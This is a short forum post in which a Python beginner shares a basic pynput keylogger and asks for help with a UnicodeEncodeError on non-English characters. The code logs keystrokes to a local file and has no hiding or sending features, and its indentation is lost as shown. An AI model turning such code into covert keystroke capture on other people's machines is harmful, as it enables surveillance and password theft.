So I started to learn and code using python.
I told myself that it would be cool to learn to make a keylogger using python and pynput.
But I get this error message UnicodeEncodeError: 'charmap' codec can't encode character '\u0119' in position 1: character maps to <undefined>
when I use a different language, could somebody help me fix it? Thanks.
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("my_keystrokes.txt", "w") as f:
for key in keys:
f.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()